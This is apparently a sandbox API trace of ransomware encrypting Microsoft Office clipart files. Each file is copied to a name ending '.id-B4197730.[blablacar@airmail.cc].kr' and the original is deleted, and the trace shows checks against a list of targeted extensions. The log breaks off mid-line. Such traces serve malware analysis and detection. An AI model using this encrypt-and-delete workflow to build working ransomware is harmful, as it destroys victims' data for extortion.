1 [0210.621] CloseHandle (hObject=0x3f8) returned 1 [0210.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf")) returned 0x220 [0210.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0210.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0210.625] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.625] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0210.626] GetLastError () returned 0x0 [0210.626] ReadFile (in: hFile=0x3f8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0xbcc, lpOverlapped=0x0) returned 1 [0210.627] WriteFile (in: hFile=0x38c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0210.628] ReadFile (in: hFile=0x3f8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.628] WriteFile (in: hFile=0x38c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.628] SetEndOfFile (hFile=0x38c) returned 1 [0210.628] CloseHandle (hObject=0x38c) returned 1 [0210.628] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.628] SetEndOfFile (hFile=0x3f8) returned 1 [0210.631] CloseHandle (hObject=0x3f8) returned 1 [0210.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0210.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf")) returned 1 [0210.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0210.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0210.643] lstrlenW (lpString=".doc") returned 4 [0210.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.643] lstrlenW (lpString=".docx") returned 5 [0210.643] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0210.643] lstrlenW (lpString=".pdf") returned 4 [0210.643] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.643] lstrlenW (lpString=".xls") returned 4 [0210.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.644] lstrlenW (lpString=".xlsx") returned 5 [0210.644] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0210.644] lstrlenW (lpString=".ppt") returned 4 [0210.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0210.644] lstrlenW (lpString=".zip") returned 4 [0210.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.644] lstrlenW (lpString=".rar") returned 4 [0210.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.644] lstrlenW (lpString=".bz2") returned 4 [0210.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.644] lstrlenW (lpString=".7z") returned 3 [0210.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0210.644] lstrlenW (lpString=".dbf") returned 4 [0210.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0210.644] lstrlenW (lpString=".1cd") returned 4 [0210.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0210.644] lstrlenW (lpString=".jpg") returned 4 [0210.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0210.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0210.644] lstrlenW (lpString=".doc") returned 4 [0210.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.644] lstrlenW (lpString=".docx") returned 5 [0210.644] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0210.644] lstrlenW (lpString=".pdf") returned 4 [0210.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.644] lstrlenW (lpString=".xls") returned 4 [0210.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.645] lstrlenW (lpString=".xlsx") returned 5 [0210.645] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0210.645] lstrlenW (lpString=".ppt") returned 4 [0210.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0210.645] lstrlenW (lpString=".zip") returned 4 [0210.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.645] lstrlenW (lpString=".rar") returned 4 [0210.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.645] lstrlenW (lpString=".bz2") returned 4 [0210.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.645] lstrlenW (lpString=".7z") returned 3 [0210.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0210.645] lstrlenW (lpString=".dbf") returned 4 [0210.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0210.645] lstrlenW (lpString=".1cd") returned 4 [0210.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0210.645] lstrlenW (lpString=".jpg") returned 4 [0210.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.645] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0210.645] lstrlenW (lpString="J0107026.WMF") returned 12 [0210.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0210.646] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=7632) returned 1 [0210.646] CloseHandle (hObject=0x3f8) returned 1 [0210.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf")) returned 0x220 [0210.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0210.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0210.647] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.647] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0210.648] GetLastError () returned 0x0 [0210.648] ReadFile (in: hFile=0x3f8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x1dd0, lpOverlapped=0x0) returned 1 [0210.649] WriteFile (in: hFile=0x38c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x1de0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x1de0, lpOverlapped=0x0) returned 1 [0210.650] ReadFile (in: hFile=0x3f8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.650] WriteFile (in: hFile=0x38c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.650] SetEndOfFile (hFile=0x38c) returned 1 [0210.650] CloseHandle (hObject=0x38c) returned 1 [0210.650] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.651] SetEndOfFile (hFile=0x3f8) returned 1 [0210.717] CloseHandle (hObject=0x3f8) returned 1 [0210.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0210.822] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf")) returned 1 [0210.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0210.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0210.956] lstrlenW (lpString=".doc") returned 4 [0210.956] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.956] lstrlenW (lpString=".docx") returned 5 [0210.956] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0210.956] lstrlenW (lpString=".pdf") returned 4 [0210.956] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.956] lstrlenW (lpString=".xls") returned 4 [0210.956] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.956] lstrlenW (lpString=".xlsx") returned 5 [0210.956] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0210.956] lstrlenW (lpString=".ppt") returned 4 [0210.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0210.956] lstrlenW (lpString=".zip") returned 4 [0210.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.957] lstrlenW (lpString=".rar") returned 4 [0210.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.957] lstrlenW (lpString=".bz2") returned 4 [0210.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.957] lstrlenW (lpString=".7z") returned 3 [0210.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0210.957] lstrlenW (lpString=".dbf") returned 4 [0210.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0210.957] lstrlenW (lpString=".1cd") returned 4 [0210.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0210.957] lstrlenW (lpString=".jpg") returned 4 [0210.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0210.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0210.957] lstrlenW (lpString=".doc") returned 4 [0210.957] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.957] lstrlenW (lpString=".docx") returned 5 [0210.957] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0210.957] lstrlenW (lpString=".pdf") returned 4 [0210.957] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.957] lstrlenW (lpString=".xls") returned 4 [0210.957] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.957] lstrlenW (lpString=".xlsx") returned 5 [0210.957] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0210.957] lstrlenW (lpString=".ppt") returned 4 [0210.957] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0210.957] lstrlenW (lpString=".zip") returned 4 [0210.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.957] lstrlenW (lpString=".rar") returned 4 [0210.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.958] lstrlenW (lpString=".bz2") returned 4 [0210.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.958] lstrlenW (lpString=".7z") returned 3 [0210.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0210.958] lstrlenW (lpString=".dbf") returned 4 [0210.958] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0210.958] lstrlenW (lpString=".1cd") returned 4 [0210.958] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0210.958] lstrlenW (lpString=".jpg") returned 4 [0210.958] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.958] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0210.958] lstrlenW (lpString="J0107042.WMF") returned 12 [0210.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0210.959] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=9048) returned 1 [0210.959] CloseHandle (hObject=0x51c) returned 1 [0210.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf")) returned 0x220 [0210.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0210.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0210.959] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.959] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0210.960] GetLastError () returned 0x0 [0210.960] ReadFile (in: hFile=0x51c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x2358, lpOverlapped=0x0) returned 1 [0210.962] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x2360, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x2360, lpOverlapped=0x0) returned 1 [0210.963] ReadFile (in: hFile=0x51c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.963] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.963] SetEndOfFile (hFile=0x3f8) returned 1 [0210.963] CloseHandle (hObject=0x3f8) returned 1 [0210.963] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.963] SetEndOfFile (hFile=0x51c) returned 1 [0211.025] CloseHandle (hObject=0x51c) returned 1 [0211.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf")) returned 1 [0211.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0211.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0211.026] lstrlenW (lpString=".doc") returned 4 [0211.027] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.027] lstrlenW (lpString=".docx") returned 5 [0211.027] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0211.027] lstrlenW (lpString=".pdf") returned 4 [0211.027] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.027] lstrlenW (lpString=".xls") returned 4 [0211.027] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.027] lstrlenW (lpString=".xlsx") returned 5 [0211.027] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0211.027] lstrlenW (lpString=".ppt") returned 4 [0211.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0211.027] lstrlenW (lpString=".zip") returned 4 [0211.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.027] lstrlenW (lpString=".rar") returned 4 [0211.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.027] lstrlenW (lpString=".bz2") returned 4 [0211.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.027] lstrlenW (lpString=".7z") returned 3 [0211.027] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0211.027] lstrlenW (lpString=".dbf") returned 4 [0211.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0211.027] lstrlenW (lpString=".1cd") returned 4 [0211.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0211.027] lstrlenW (lpString=".jpg") returned 4 [0211.027] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0211.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0211.027] lstrlenW (lpString=".doc") returned 4 [0211.027] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.028] lstrlenW (lpString=".docx") returned 5 [0211.028] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0211.028] lstrlenW (lpString=".pdf") returned 4 [0211.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.028] lstrlenW (lpString=".xls") returned 4 [0211.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.028] lstrlenW (lpString=".xlsx") returned 5 [0211.028] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0211.028] lstrlenW (lpString=".ppt") returned 4 [0211.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0211.028] lstrlenW (lpString=".zip") returned 4 [0211.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.028] lstrlenW (lpString=".rar") returned 4 [0211.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.028] lstrlenW (lpString=".bz2") returned 4 [0211.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.028] lstrlenW (lpString=".7z") returned 3 [0211.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0211.028] lstrlenW (lpString=".dbf") returned 4 [0211.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0211.028] lstrlenW (lpString=".1cd") returned 4 [0211.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0211.028] lstrlenW (lpString=".jpg") returned 4 [0211.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.028] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.029] lstrlenW (lpString="J0107090.WMF") returned 12 [0211.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0211.029] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=14132) returned 1 [0211.029] CloseHandle (hObject=0x51c) returned 1 [0211.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf")) returned 0x220 [0211.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 